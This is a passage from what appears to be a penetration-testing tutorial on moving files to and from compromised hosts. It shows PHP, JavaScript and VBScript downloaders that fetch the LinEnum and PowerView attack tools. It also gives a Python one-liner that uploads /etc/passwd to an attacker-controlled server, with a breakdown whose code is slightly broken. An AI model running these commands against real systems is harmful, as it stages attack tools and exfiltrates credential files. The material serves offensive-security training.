fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

PHP Download a File and Pipe it to Bash

JavaScript

The following JavaScript code is based on this post, and we can download a file using it. Create a file called wget.js and save the following content:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Download a File Using JavaScript and cscript.exe

C:\xyz> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript

The following VBScript example can be used based on this. Create a file called wget.vbs and save the following content:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

From a Windows command prompt or PowerShell terminal

C:\xyz> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

Upload Operations using Python3

If we want to upload a file to our Python3 uploadserver.

Starting the Python uploadserver Module

neutron@kali[/kali]$ python3 -m uploadserver 

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Uploading a File Using a Python One-liner

neutron@kali[/kali]$ python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

Breakdown:

# To use the requests function, we need to import the module first.
import requests 

# Define the target URL where we will upload the file.
URL = "http://192.168.49.128:8000/upload"

# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")

# Use a requests POST request to upload the file. 
r = requests.post(url,files={"files":file})
